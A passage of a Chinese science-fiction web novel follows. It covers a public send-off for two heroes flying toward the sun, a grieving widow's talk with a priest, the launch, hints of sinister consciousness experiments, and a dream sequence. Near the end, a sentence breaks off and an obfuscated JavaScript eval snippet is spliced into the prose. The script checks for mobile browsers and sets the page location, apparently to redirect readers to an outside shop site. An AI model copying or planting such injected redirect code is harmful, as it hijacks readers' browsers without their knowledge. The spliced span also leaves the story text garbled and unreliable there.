平原被临时改造成庆典会场,直径超过三十公里;地面铺着能吸收震动并反射光线的特殊材料,此刻正随着音乐节奏漾开涟漪般的波纹。观众席呈环形阶梯状上升,目力所及之处每一级台阶上都挤满了人,手里挥舞着荧光棒、全息旗、自制标语牌……更远处,城市的所有建筑表面都变成了投影幕墙,同步直播着这里的画面。 天空中有无人机群编队飞行,排列出近日点号的轮廓,然后散开成日冕的形状。 舞台设在广场中央,高出地面二十米,呈银白色流线型设计,模仿飞船的舰首。聚光灯从四面八方打来,将舞台照得亮如白昼。 祝觉明睁开眼,想起自己和怀从咎走出通道、踏上通往舞台的透明步道时,那些声浪达到了顶峰。 怀从咎能感觉到那声音的重量它压在胸口,挤进耳道,震得骨头都在轻微共鸣;他保持着步伐频率,目光平视前方,但余光能看见两侧人群疯狂挥舞的手臂,看见孩子们骑在父亲肩上高举的玩具飞船,看见老人抹眼泪的苍老手指,看见年轻人脸上混合着崇拜与狂热的潮红。 他们真的相信。 相信这是一次伟大的探索,一次英雄的远征,一次人类向恒星的壮丽致辞。 他回想起来路,那条通往中央广场的通道长得仿佛没有尽头;两侧墙壁光滑是合金材质,每隔十米嵌着一枚象征逐日计划的徽章投影,日冕的光纹缓慢旋转。 脚步声在通道里回荡,一前一后,越靠近出口,外界的声浪就越清晰。 祝觉明走在他前面半步,背影笔直,步伐稳定,连衣摆晃动的幅度都控制在最小。他左手自然垂在身侧,戒指的哑光在通道灯光下偶尔一闪。 “紧张吗?”怀从咎忽然问,“我们真的要去送死了。” “你紧张吗,”祝觉明没有回头,“心率72,血压118/76,皮质醇水平在正常范围内。理论上,我不紧张。” “理论上。”怀从咎笑了,“那实际上呢?” 祝觉明沉默了几步。 “实际上,”他看向前方,“我在计算演讲过程中太阳活动突变的应对预案。如果现在发生中等规模耀斑,对通讯系统的干扰概率是……” “别算了。”怀从咎打断他,“就两小时,放个假。” 祝觉明终于回头看了他一眼。通道的光线从他侧后方打来,在镜片边缘镀上一圈冷白的亮边。 “休假不符合当前效率最优解。”他似乎笑了笑,“但这个建议不错。” 说完后,他转回头,前方隔离门上的指示灯由红转绿。 厚重的合金门板向两侧滑开,光与声的洪流涌入,他们的过去与此刻在此汇聚。 人类为他们庆贺,未来一切都在他们面前。 10. 向前,向太阳 像远方的海啸随着距离缩短逐渐分化,主持人的声音透过巨型音响放大、变形;交响乐团的演奏恢弘而煽情;还有人群——数十万、数百万人聚集产生的、混沌而磅礴的声浪,呼喊、歌唱、哭泣、祈祷……所有声音搅在一起,成为物理意义上的压力、透过厚重的隔离门渗进来。 怀从咎感觉自己的耳膜在轻微震动。 他喉结滚动了一下,他想起李素华——那个在事故报告中出现、丈夫死于轨道事故的女人。她现在坐在哪里?也在人群中吗?也在为这两个即将“拯救世界”的英雄欢呼吗? 他不知道。 步道走到尽头,舞台边缘。 祝觉明先一步踏上去,转身,向他伸出手。 这是排练过的动作,象征协作与信任。 怀从咎握住那只手,他们借着这个动作同时登上舞台中央,然后松手面向观众。 掌声和欢呼声又拔高了一截,几乎要掀翻天空的人造穹顶。 他们居然在已经出发时回味方才的演绎。 主持人开始介绍,声音因激动而颤抖;祝觉明和怀从咎并排站立,目光望向远方——导演在耳麦里提示的方向。那里实际上只有更多的观众和投影,但他们表现得像在眺望星空,眺望太阳、眺望人类文明的未来。 怀从咎不知道我们要去考核。 祝觉明如此想。 怀从咎的锁骨处传来轻微的灼热感,苏醒的暖意顺着脊椎爬升,让他的听觉变得异常敏锐。他能从混沌的声浪中分辨出个体的呼喊: “祝博士,一定要回来!” “怀指挥官!你是我们的骄傲——” “人类万岁!” “太阳保佑你们……” 还有更细微的几乎被淹没的哭泣,那些声音拧成一股绳缠绕上来,沉重得让他想后退一步。 但他没有退。 他站在那儿,脸上挂着排练过的充满信心的笑容,右手抬起向人群挥手。 旁边祝觉明也开始演讲。 他的声音透过优质麦克风传遍全场,平静清晰,每个字都像打磨过的零件,严丝合缝地嵌入句子的榫卯结构;他讲科学的意义、讲探索的精神,讲人类在宇宙中的位置……没有激昂的煽情,没有夸张的修辞,只是平稳的叙述,却压住了沸腾的声浪。 人们安静下来,仰头听着。 怀从咎也在听。他听过祝觉明很多次发言,在会议室,在简报厅,在模拟训练中;但这是第一次,在数十万人的注视下,听这个人用如此冷静的语气,谈论一件如此疯狂的事。 “我们将飞向太阳,”祝觉明微笑,“不是因为它容易,而是因为它困难。不是因为我们必须,而是因为我们选择。” 他停顿了一下,目光扫过观众席。 “选择相信理性,也选择相信勇气。选择信任计算,也选择信任彼此。” 怀从咎和他一起笑。 祝觉明转向他,镜片后的眼睛在强光下看不真切。 “怀从咎指挥官,”他声音透过麦克风变得有些陌生,“你愿意与我一同完成这次航行吗?” 这是剧本外的台词。 排练时,这里应该是祝觉明说完“人类的未来”,然后怀从咎上前半步,发表自己的誓言。没有这句询问。 耳麦里传来导演急促的提示:“按原流程!按原流程!” 但祝觉明没有理会。他只是看着怀从咎,等待回答。 全场的目光都聚焦过来。 怀从咎与他对视。在震耳欲聋的寂静中,他看见祝觉明左手的戒指表面蓝光极微弱地闪了一下,频率像心跳。 然后他笑了。真实、无奈却认命。。 “当然。”他接过工作人员递来的话筒,“不然还能有谁?” 人群爆发出欢呼。 祝觉明点了点头,转回去继续演讲。接下来的内容回到了剧本:任务的意义,技术的保障,对后方支持团队的感谢,最后是那句注定要被写入史册的结束语: “我们或许无法带回太阳的秘密,但我们会带回人类的勇气。” “而勇气,比任何答案都更重要。” 掌声雷动。 怀从咎的发言相对简短。他讲飞行,讲太空,讲在深渊边缘行走时看见的风景。没有提概率,没有提牺牲,只讲那片浩瀚与美丽。 “我会把飞船开到该去的地方。这是我的工作,也是我的承诺。” 朴实,直接,反而比任何华丽辞藻更让人热泪盈眶。 典礼的最后环节是观照总长上台。这位极少公开露面的联合政府最高决策者平素极少露面,今夜却也穿着正式礼服,向葬礼。他没有过多演讲,只是走到祝觉明和怀从咎面前,将两枚特制的航行徽章别在他们胸前。 徽章是太阳的形状,中心嵌着一小块从帕克探测器上取回的、真正经历过近日点高温的耐热材料。 “人类文明与你们同在。”观照的目光在两人脸上停留片刻,那双深潭般的眼睛里没有任何情绪,只有纯粹的注视。 然后他后退,举手敬礼。 全场起立,敬礼。 国歌奏响,旗帜升起,无人机群在夜空中炸开最后的全息焰火,组成一行巨大的字: 向前,向太阳。 ——— 退场时,声浪依旧在身后追逐。 但一进入通往发射区的隔离通道,所有喧嚣瞬间被厚重的合金门隔绝,只剩下两人脚步声的回响。 他们沉默地走了一段。 “刚才那句询问,”怀从咎忽然开口,“是即兴发挥?” 祝觉明没有立刻回答。他摘掉演讲用的薄款眼镜,换回平时那副,动作慢而仔细。 “算是。”他不置可否,“原定台词逻辑不够自洽。如果航行是既定任务,询问意愿显得虚伪;如果是自愿选择,之前的动员又过于导向性。折中方案是保留询问形式,但放在你已经登台、无法拒绝的语境下。这样既维持了仪式感,又避免了逻辑矛盾。” 怀从咎看了他几秒,笑了:“你就不能说是临时想给我个选择的机会?” “那不符合事实。”祝觉明将换下的眼镜收进随身盒,“你从签署任务确认书的那一刻起,就没有选择退出的权利了。联合政府征召法令第七章,关于危机时期特殊任务的规定。” “我知道。”怀从咎不看他,“我背过。” 又走了一段,通道开始倾斜向上,前方出现穿梭机舱门的轮廓。 “不过,”祝觉明忽然补充,“如果你当时真的说不愿意,我会修改发言。” 怀从咎脚步顿了一下。 “怎么修改?” “强调这是命令,是责任,是身为军人必须承担的义务。”祝觉明笑了,“用集体意志覆盖个人意愿,在舆论上依然成立。” “那你为什么没那么说?” “因为概率。”祝觉明停下脚步,转身看他。通道顶灯在他脸上投下清晰的阴影,镜片后的眼睛平静无波,“你回答当然的概率在模型计算中是93.7%。基于你过往的行为模式和价值观拟合。这是一个高置信度的预测,值得采用更优化的方案。” 怀从咎与他对视。 通道里很安静,远处发射区传来推进器预热的震动,透过地板隐约传来。 “所以,”怀从咎懒得评价他的狡诈,“你赌对了。” “不是赌博,是计算。”祝觉明纠正,“我们该登机了。” 他转身继续向前。 怀从咎看着他的背影,右手不自觉地又擦过锁骨。灼痕的温度似乎升高了些许,像在回应什么。 然后他迈步跟上。 ……倒计时开始。 广播里传出平稳的女声:“引路者号,发射序列启动。T减十分钟。” 推进器点火声隐约传来,机舱开始轻微震颤。怀从咎的手搭在操纵杆上,感受着那股熟悉的、逐渐增强的震动。 像心跳。 “T减五分钟。” 祝觉明关闭了大部分数据屏,只留下核心导航和通讯界面。他的左手放在大腿上,戒指的蓝光平稳闪烁,频率与推进器脉冲逐渐同步。 “T减一分钟。” 怀从咎的锁骨灼痕开始发热。真实的温度上升像下面埋着一小块慢慢燃烧的炭。 他看了眼祝觉明,发现对方也正看着自己。 “祝觉明。”他那样郑重其事的呼唤人,“我有话同你讲。” “嗯。” “如果……”怀从咎还是决定摊牌,“如果这次任务,背后还有什么我们不知道的……你会告诉我吗?” 祝觉明沉默地看着他。机舱顶灯在他镜片上反射出两个白点,遮住了眼睛。 倒计时女声继续:“……五、四、三、二、一。发射。” 巨大的推力从背后袭来,将两人狠狠压进座椅;舷窗外,防辐射装甲板滑开,露出迅速后退的发射架、越来越远的地面、以及那片被庆典灯光染成金红色的夜空。 穿梭机冲破云层,进入黑暗的太空。 地球在下方展开,弧形的边缘沐浴在阳光中,大陆与海洋的轮廓清晰而壮丽。 怀从咎的问题没有得到回答。 或者说,沉默就是他给予的答案。 他转回头,看着前方逐渐逼近的那颗燃烧着的恒星。 而祝觉明也收回目光低头看向自己左手,戒指的蓝光在加速过载的震动中微微颤抖,像在挣扎。 然后他闭上眼睛。 开始计算航线,计算燃料,计算炸弹引爆的精确毫秒。 计算一切可计算的东西。 把那些无法计算的——比如信任,比如直觉,比如沉默中传递的疑虑,比如锁骨灼痕与戒指蓝光之间隐约的共鸣——都暂时归档,存进思维深处某个加密分区。 等到了近日点,等面对太阳,等生死一线的时刻。 再来决定,是读取,还是永久删除。 穿梭机继续加速,朝着主舰汇合点,朝着那条注定无法回头的轨道。 身后,地球渐渐缩小,成为一颗悬浮在黑暗中的、脆弱的蓝色宝石。 星夜如此盛大,地球如此伟岸。 ——— “他们已经出发了。” “好……” 老人眯起眼仰头看着星轨在彩窗间穿梭,身后谁人拉响铃声,昭示有客前来。 寂夜之后的教堂比白日更静。 李素华被许可推开厚重的橡木门时,钟声正敲到第七下;余音在肋拱间缓慢沉降,像铅灰色的鸽子收拢翅膀,落在长椅靠背积年的木纹里。她站在门廊的阴影中,等最后一道钟纹散去,才放轻脚步走进去。 烛火在祭坛前跳着,七八支的样子,老神父就站在那片摇曳的光晕边缘。他没有穿祭披,只套了件洗得发白的亚麻衬衫,袖子挽到手肘,露出枯枝般的小臂;听见脚步声,他回过头,脸上沟壑被烛光映得愈深,但眼睛很清亮。 “李姊妹。”他笑的温和,“这个时辰来,心里有事?” 李素华点点头,又摇摇头。她走到第三排长椅边坐下,穿的还是那件丈夫葬礼时深灰色毛衣,袖口已经磨得发毛;看不出她来此所寻何事,她只是坐在那儿微微佝偻着,似乎有些出神。 老神父从祭坛边走来,坐在她前一排的椅子上侧着身。他没有急着说话,只是安静地等。远处隐约传来庆典的乐声,被教堂厚重的石墙滤得模糊,像另一个世界的噪音。 “放松一些,”神父笑的那般慈祥,“有何苦怨、不解,都说来罢。” “他们去到群星了么,”李素华靠向椅背,“我还是记着我丈夫走之前,说太阳不对劲。” “你担忧他们也许会来的苦难,”神父点点头,示意她说下去,“你替他们的命运在意,还是依然怀念你的丈夫?” “他说模型全乱了,时间不够修。”李素华没有回答神父的问题,“后来没有他了。” “今天我看见那两个人,要飞向太阳的英雄。他们真年轻,我丈夫当年也那么信誓旦旦,说人类一定会撕开浩瀚星海。” 她停住了,看向神父。 他没有安慰,也没有讲 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“太阳也是。”神父又望向窗外,仿佛能透过石墙看见夜空,“它烧了四十六亿年,还会再烧五十亿年;期间它会膨胀,会喷发,会抛出亿万度的大火,也会慢慢冷却、坍缩,最后变成一块沉静的白矮星。这也是定数。” “但在这定数里,”他又收回目光看向她,“它每一天的升起、落下,每一道日冕的舞动,每一次给地球送来光和热……都是它的活,它的变化,它的恩典。万物都有生灭的律,李姊妹。大的如星辰,小的如蝼蚁,都在同一个律里。” 夜风从门缝挤进来,拂动烛火。光影在长椅靠背上爬行,像无声的潮汐。 “你丈夫走了,是他的烛烧到了头。但那支烛的光,还在你心里亮着。”神父的声音更轻了,几乎融进风的低语,“那两个年轻人要飞向太阳,是他们选择的燃烧方式。或许短暂,或许炽烈,但那是他们的活法,他们的烛。” 李素华慢慢转过目光。 “我……我只是怕。”她终于哽咽了一下,“怕他白死了。怕那些英雄……也回不来。” 神父沉默了片刻。 然后他伸出手轻轻覆在她交握的手背上,凉的使她镇静。 “没有白死这回事,李姊妹。”他依旧是笑着的,“每一支烛熄灭前,都照亮过一些黑暗。你丈夫修的那些平台,护过的人,传回的数据——都是他照亮的范围。至于英雄……” 他望向祭坛上的十字架,闭上眼唱起圣诗。 “亚伯拉罕献以撒时,不知道天使会拦住他的手。挪亚造方舟时,不知道雨真的会下四十昼夜。人只能凭信心往前走,走一步、亮一步脚下的路。后面的,交给掌律的那位。” 钟声又响了。这次是整点,沉浑的十二下,震得空气微微发颤;烛火在声波里倾斜,又慢慢站直。 李素华眼睛里的茫然淡了些,似乎豁然开朗,又似乎只是苦涩。 “神父,”她问,“您真的相信这一切都有律吗?连灾难,连死亡,都有?” 神父柔和的向渺远的夜色投去目光,越过她、似乎要直直抵达时间尽头、世界终局、岁月间岸。 “我不相信一切都有意义,李姊妹。”他缓缓道来,“但我相信一切都有律。律不等于公道,不等于仁慈,它像水往低处流、火向上升腾,它是必然。认识这律,不是为了让痛苦消失,而是为了将它好好置放、落在该落的地方,不把整个心都压垮。” 他收回手站起身,走到祭坛边拿起一支新蜡烛,就着旧烛的火点燃;新烛的光跳了跳,稳定下来,与其它烛火汇成一片温暖的晕黄。 “来,”他回头唤她,“为你丈夫点一支。不为祈求,只为纪念。纪念他曾好好燃烧过。” 李素华站起来,走过去接过那支烛;烛芯顶端聚着一小粒明亮的光,她小心地将它插在铜制烛台的空位上,看着那簇新火融入旧光。 “他会知道的。”神父站在她身侧轻声,“爱你的人,无论以什么形式存在,都继续在爱你。这是律里最温柔的一条。” 李素华没有应声。她只是站在那儿看着烛火,看了很久,直到庆典的乐声彻底消失,直到窗外只剩下纯粹的夜风呜咽。 离开时,老神父送她到门口。夜风扑面而来,初秋的凉意和远处城市的烟火气在她身侧交融。 “谢谢您,神父。”她微微躬身,“愿……保佑我们。” “路上小心。”他点头,“记住,烛有尽时,光无绝期。” 门在她身后合拢,将烛火与钟声关在里面。 李素华走在回家的路上,没有再回头。风拂过她的脸,吹干了残留的泪痕;夜空无云,能看见几颗星子,疏淡地缀在深蓝的绒布上。 她想起丈夫最后那条讯息里的话:“素华,这边天空有点奇怪,太阳看起来比地球上的大。” 当时她觉得那是工作压力下的呓语。 现在她忽然想,也许他看到的,真的是更浩瀚、更真实的景象——超越了模型和数据,直抵燃烧本身。 就像那两个即将飞向那片燃烧的年轻人。 她不知道他们能不能回来。 但此刻,在夜风与钟声余韵里,她允许自己相信:无论如何,那都会是一程炽烈的、值得被铭记的燃烧。 而所有燃烧,在永恒的律里,都会留下光迹。 哪怕微弱,哪怕短暂。 只要曾照亮过一寸黑暗,就不枉此生。 她推开公寓的门,没有开灯,径直走到窗边;远处逐日庆典的余晖还在地平线上徘徊,将云层染成暗金的流苏。 她静静看着,直到最后一线光也沉入夜色。 尔后她拉上窗帘走进卧室,在丈夫空了一半的床铺边躺下。 这一次,她没有再梦见坠落或爆炸。 她梦见一片温暖的光,无声地包裹着她,像烛火、像遥远的恒星,像所有不曾真正熄灭的守望。 也许真的有救世的神已无声降临。 在梦里,她终于睡沉了。 教堂里,老神父吹熄了最后一支烛。 黑暗降临,唯有彩绘玻璃外,星月正明。 “祸哉,那些称恶为善、称善为恶,以暗为光、以光为暗,以苦为甜、以甜为苦的人。” 11. 并带来希冀 “引路者”号穿梭机内部空间狭窄,只设了两个并排的驾驶座,后方是仅够容纳基本维生设备和炸弹触发控制台的小舱室;墙壁覆盖着灰黑色的缓冲材料,仪表盘发出漂亮的冷光,舷窗此刻被防辐射装甲板封闭,看不见外面。 祝觉明坐在右座,快速检查着系统自检报告。怀从咎坐进左座,扣好五点式安全带,手指在控制面板上熟练地划过,启动预热程序。 通讯频道里传来陈启的声音,背景里有主舰舰桥的嘈杂人声:“老大,祝博士,我们已就位。轨道参数同步完毕,随时可以出发。” “收到。”怀从咎回应,“按预定时间表执行。” “明白!”陈启的声音充满干劲,“那个……一路顺风。我等与你们对接。” 频道切断。 怀从咎靠在座椅里,目光扫过面前密密麻麻的仪表。这些他太熟悉了,熟悉到不需要思考就能操作;但此刻,在真正的出发前,那些刻度、指示灯、读数……都显得有点陌生。 像是第一次看见。 “紧张了?”祝觉明眼睛还盯着数据屏,“你负责和陈启对接好就行。” “这话该我问你吧,博士。”怀从咎失笑,“他真倒霉啊,维持完秩序还要换衣服开着舰船和我们一起走人。” “我的心率74,血压119/77,依然在正常范围。”祝觉明没睬他关于陈启的打趣,“但你呼吸频率比登机前提升了12%,指尖血流量分布显示轻微应激反应。根据模型,这通常与焦虑或兴奋相关。” “……你连这个都测?” “座椅内置生物监测传感器。数据实时同步到我的屏幕。”祝觉明终于转头看了他一眼,“需要我关闭显示吗?” “不用。”怀从咎呼出一口气,“就当多个维生指标。” 祝觉明站到主控台前,三维星图在他面前缓缓旋转,代表航线的光带笔直地刺向那颗炽热的恒星;他的脑波抑制器传来正常工作的恒定微温,随着目光扫过每一行跳动的参数、没有任何起伏。 “航道修正完成。”他转身,“三小时后进入第一段加速窗口。所有系统运行在预期阈值内。” 怀从咎靠在驾驶席上,两条长腿随意地支着地。他没看星图,反而盯着侧舷窗外那片越来越浓郁的深黑。 “预期阈值?博士,太空最擅长的就是生产预期之外。” “和陈启对接前你也是这样讲的。”祝觉明没有回头,“所以我们需要模型,其意义就在于将不确定性转化为可计算的概率。” “然后呢?”怀从咎转过座椅,作战服的布料摩擦出轻响,“算出百分之九十九的生存率,就能让那百分之一的死亡变成合理损耗?” 祝觉明的手在控制面板上停顿了一帧。 “概率描述的是整体趋势,不担保个体结局。”他推了下眼镜,“但尊重趋势,是人类在宇宙中存续的基础逻辑。” “基础逻辑。”怀从咎重复这个词,像在咀嚼什么味道古怪的东西。他站起身走到祝觉明侧后方,目光落在那些流淌的数据上,“那你的基础逻辑有没有算出来——为什么从启航到现在,左侧推进器的谐振波动一直比右侧高零点三个百分点?” 祝觉明似乎叹了口气。 他调出推进器监控界面,波形图平稳、数值全绿,系统日志完全没有异常记录。 “数据正常。”他蹙眉,“你意思ai有问题?” “数据是死的。”怀从咎抬起右手虚虚点了点屏幕,“但它在呼吸。每十七秒一次,像心跳。左侧比右侧喘得重一点,你感觉不到吗?” 祝觉明沉默了。他重新调取原始振动传感器的毫秒级记录,运行快速傅里叶变换。十七秒后频谱图上果真浮现出一个极其微弱的周期峰——位置恰好在怀从咎所说的频段。振幅差值,百分之零点三二。 “神神叨叨,”祝觉明处理着异常,“……你怎么感知到的?” “我说了,博士,”怀从咎笑了,“太空擅长生产意外,而我的工作就是在意外咬断我们脖子之前,先掐死它。” 建议你查查左侧推进器的第三号固定栓。可能是装配应力释放不均。趁现在还能修。 他走回驾驶席,重新坐进去闭上眼。 祝觉明盯着那个频谱峰看了很久。然后他调出工程手册,开始起草检修方案。 “不愧是我亲自选定的驾驶员。” ——— 封闭的船舱里时间被拉成粘长的丝,实验舱内部空间倒是设计得极致高效了,但也极致压抑。通道狭窄,哑光的金属灰舱壁没有任何起伏;照明永远维持在刚好够用的冷白色,在这里私人与公共的界限模糊得像晕开的水痕——每个人都在所有人的听觉与视觉范围内生活、工作、呼吸。 祝觉明习惯了这种透明。于他而言注意力是资源,应当全部投向任务;身体的需求,比如睡眠、进食、情绪……是维持认知功能的必要程序,按时执行即可。他人的存在,只要不影响数据流动和决策链,便与背景噪音无异。 但怀从咎的存在很难被归为背景噪音。 这个人太响亮了,像一团低气压沉甸甸地压在舱室的每一个角落;祝觉明发现自己开始无意识地捕捉关于怀从咎的信号:他走过通道时作战服摩擦的动静、他对着营养液皱眉时喉结滚动的弧度、他靠在舷窗边凝视深空时绷紧的线条…… 更让祝觉明在意的是他锁骨处那道灼痕。 毕竟他没其他能注意的,这鬼地方实在是太干瘪了,他只能和同事相看两厌。 平时它只是肤色上一道略深的印记,像旧伤疤;但在某些时刻——比如怀从咎情绪起伏时,或是飞船穿过特定辐射区时——它会泛起熔金般的光晕。祝觉明在这第一次注意到是在对接时刻紧急机动后,怀从咎的呼吸还未平复、汗湿的领口下那道痕迹隐隐发光,如同地壳下涌动的岩浆。 几乎是同时,祝觉明左手无名指的阈值戒传来一阵尖啸。 认识怀从咎之前他自觉这玩意可没这么有存在感,天天在自己眼皮子底下晃荡,高频率的震动的自己烦;它还顺着指骨爬上前臂、直抵后脑,伴随着短暂的白噪音耳鸣,像老式电视机失去信号时的沙沙声。 抑制器在警告。 警告什么? 祝觉明没有问。他将这现象记录在私人日志里,标注为待观察的生理协同干扰;理性告诉他,这可能是特殊辐射环境下的感应现象,或者两人神经系统的罕见耦合。情感上——如果他承认自己有情感这回事——他感到一阵轻微的不安;仿佛有什么东西,正从他严苛控制的模型边缘渗进来。 航行第十七小时,第一个夜晚周期开始。 他们的夜晚和地球上略有不同,或者说出发之后对接、检测、会议……这是地球时间的第二日天晚。舰桥照明调暗百分之七十,只留下必要的仪器背光和导航星图;怀从咎去了休息舱,陈启在主控台值第一班监测,祝觉明留在自己的工作站,屏幕上是密密麻麻的太阳活动预测模型。 倒不是祝觉明不休息,他在等一个会议。 开完再睡。 通讯面板亮起内部频道请求,标识是苏持风。 祝觉明接通,音频专用,无影像。 “监察长。”他开口,“怎么这么晚?” “祝博士。”苏持风的声音传来,比平时低,语速稍快、背景里有持续的敲击声——她居然还没下班,“航行数据已同步接收,模型运行平稳。刚才在处理休息请求与数据监测,所以迟了。” “好的,”祝觉明等待下文,苏持风不会只为确认这种显而易见的事联络他,“你提前四个小时发消息请求与我联络,什么事?” 沉默了几秒。敲击声停了。 “我复核了启航前最后一次系统自检的原始日志。”苏持风的声音听起来是那样机械,“左侧推进器集群的装配记录里,第三号固定栓的扭矩数据在许可范围内,但贴近上限。与右侧同位置栓体有百分之三点七的差值。” 祝觉明看向自己屏幕上那份刚刚完成的检修方案。 和怀从咎的判断完全命中。 “我已安排检修窗口。”他点头,“有问题怎么出发了才汇报。” “效率很高。”苏持风诧异他下手这么快,“怀指挥官……他提出这问题时,有依据吗?还是纯凭……” “感知。”祝觉明替她说完,“他比你们有用。” “……是的。”苏持风叹了口气,“不是才汇报,本来没有问题,但推进过程中可能会导致零件移位,所以即使在安全值,地面工程那边还是决定上报注意……只是层层审核迟了些。” “他没有提供传统意义上的依据。”祝觉明嗤笑一声,看着屏幕上那道被算法挖掘出来的微弱频谱峰,懒得和她讨论下面那群废物的消极怠工,“但结果指向同一处异常。” 苏持风又沉默了。这次祝觉明能听见她轻微的呼吸声,她绝对有话但没讲。 “博士,”她再次开口,好像终于决定还是说,“关于火种计划的底层参数,我调阅了林静渊院士早期的意识融合实验档案。” 祝觉明沉默了一瞬。 “那些档案属于绝密级,监察长。” 他的声音没有波动,听不出来他想问她为什么调阅、还是她到底来汇报什么、或是其他什么想法。 “我有权限。”苏持风有些犹豫,“我看的是非核心部分,实验场次记录和部分未归因的生理反应数据。” “你的结论?”祝觉明听出来她在左右不定,“你不要动摇。” “实验体在极端情感波动时——尤其是面临同伴濒死或死亡时——产生的神经电信号和生物能辐射,会出现数量级的跃升。并且……”她斟酌着给他讲,“这种跃升会与特定外场,比如高能辐射环境,产生谐振放大效应。档案里称之为催化窗口。” 祝觉明左手无名指的戒指再次传来清晰的灼热,这次持续时间更长,像烧红的针沿着神经缓慢游走推进。 “这些数据已纳入模型考量。”他听到自己的声音平稳得像在念教科书,“情感能量作为高维意识的可能载体,是计划的理论基础之一。” “是,我知道。”苏持风反而镇静了,既然开口那就不能让联合组织听出一丝一毫异常,“但那些记录,实验体的死亡方式、还有催化发生的条件……博士,它看起来太……” “太什么?” 苏持风没有说下去。 过了很久,她才重新开口,声音疲惫。 “没什么。可能是我多虑了。航行压力会影响判断。” “建议你进行标准心理舒缓程序,监察长。”祝觉明诚恳的建议,“情绪波动是计划外的干扰变量。” “……明白。”苏持风似乎笑了一下,“那么,祝你休息的好,晚安。” 通讯切断。 有些话就该戛然而止,听不出任何有用的信息,更听不出冒犯。 不然什么都明说了,联合组织全知道了,就该找麻烦了。 祝觉明独自坐在光晕里,他调出苏持风刚才提到的实验档案编号,权限通过。那些尘封的记录写着几十年前的实验、粗糙的设备、模糊的影像记录……他快速浏览着,直到看见双胞胎宇航员链接神经同步装置、暴露在模拟深空辐射场中,一人突发设备故障,生命体征急剧下滑;另一人在救援过程中,脑波峰值冲破仪器量程。 “牺牲意图激发的共鸣强度,远超恐惧或愤怒。建议后续实验设计强化该类情景。” 这是备注。 祝觉明关闭档案。 难怪苏持风演的那么犹豫。 这玩意被监听到了,她可以真的滚下去别干了。 让联合组织知道他们聊文件,他还能稍微改一改,整的好像就是提醒他注意意外;让联合组织知道他们背逆着生出其他想法去研究,那他无论如何抵赖不得,到时候人一换什么都接触不到,一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174316|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都完蛋。 苏持风也是仗着祝觉明山高皇帝远,联合组织现在总不能也没必要上太空捉一个要撞太阳牺牲的,所以敢大胆开麦聊风险,至于他们怀疑起来、她自会推给祝觉明,狡辩说自己是提醒他注意牺牲什么什么。 很好的算盘。 祝觉明抬起左手看着那枚聒噪的铂金戒指,它在昏暗光线下泛着哑光的银白色,温顺地圈住手指;但刚才那阵灼热如此真实,几乎让他错觉皮肤会被烫伤。 它到底在吵什么? 为什么苏持风今晚提起这个? 为什么抑制器在她提到“催化窗口”时反应剧烈? 她在赌自己和观照有合作,那老头不会找自己麻烦,还是在看联合组织把自己当棋子还是弃子? 如果联合组织追查,那代表自己对他们来说无用,这么远他可以起义了;如果联合组织不追查,她可以确定自己与他们有利益合作与往来,否则不会轻易被饶过。 是这样的吗? 她也在算自己属于什么立场? 祝觉明无意识关了文件随手化了几下,竟调出了怀从咎的实时生理监测数据;这是指挥官特权,为确保任务连续性,必要监控他随时可以开。 心跳、血压、脑波频率……一切平稳。他正处在深度睡眠阶段。 祝觉明关掉界面。 他将注意力转回太阳模型,试图让那些流动的公式和预测曲线填满思绪;但几行之后,他的目光又飘向休息舱的方向。 那里,怀从咎正在做梦。 那梦醒之后呢? 他会不会怪自己,从来都没说过实话? ——— “…坐标…偏移……” “催化…未达阈值……” “重新校准……” 梦黑色而滚烫。 淹没,浸渍,摇曳。 游移,燃烧,辉煌。 怀从咎站在一片虚空中,脚下没有实地,周围没有光;但他能感觉到空间厚重而充满压迫,像沉溺在深海底层。 火就从这海里蒸腾在燃烧起了,轰轰烈烈沿着时间把那些枯萎的枝桠都修剪殆尽,只剩下唯一的一条路指向无尽星轨,终局是回头、是再落到出发的时刻赴往新的家园。 那些残枝败叶就化为爆开的群星,一颗一颗是他一步步走来的路,是他尝试的一个又一个可能性。 他听见声音通过耳朵与他骨头共振的呼吸,破碎的词组夹杂着电流般的杂音;怀从咎想移动,身体却像灌了铅。他想问“谁在那里”,但声音卡在喉咙里、变成无声的喘息。 什么莫名其妙的呼唤这是文字吗这是人话吗,没有丝毫意义的单词拼在一起就能像关联的符咒一样把他召魂而去? 怀从咎想笑,怜悯的看着周遭,叹了口气摇摇头,决定还是回去。 不然继续无意义的纠缠吗,坐在宇宙的垃圾堆里守着虚无缥缈的安宁,以为是温暖但却是低俗的评判,虽然他什么都没讲但只是聊了牺牲? 好有意思的梦。 无意义,无厘头,幽默而浮躁。 锁骨处的灼痕此时炸开剧痛。 像有什么东西从骨髓里深深的烧起来,金光迸射,如熔化的铁水泼洒出去,照亮了这虚空的一角。 来自他□□义抽离出横跨亿万年的强酸如雨,仿佛他诡异的神来一笔莫名就能创世般为地球带来新生;那些丑陋的名不副实的使人生厌的都在这光中无可遁形,尖叫着蒸发、痛苦着逃离,而金山银山终于无比正确的流向有需要的人。 世界应该是如此公平公义的。 至少让有所需之人真正有所得,而不是一无所获。 他看见陈启。 陈启穿着宇航服,但面罩不见了;他的脸暴露在真空中,皮肤迅速覆上白霜、嘴唇发紫。他张着嘴,像在喊什么,但没有声音;他的眼睛睁得极大,瞳孔里倒映着绚烂旋转的光涡,像太阳,但比太阳更复杂、更饥饿。 陈启的右手伸向他,手指抽搐着,像想抓住什么。 是自己,还是家园,还是未来? 手腕上,那根他总用来固定工具的特制弹性绑带松脱了一半,在真空中无力地飘荡。 怀从咎想抓住他,想说一切不是都好好的吗,想说你是我带上来的副官不是说要一起胜利然后回到家园吗…… 尔后从陈启的胸口迸发出炽白的光,宇航服还完好无损,但光吞没了陈启的身影、吞没了他的表情,吞没了那根飘荡的绑带…… 像断脐。 绚烂天光飘摇随风之上,云端星迹绕轨纠缠旋动,一如预告着命运将在此截然不同。 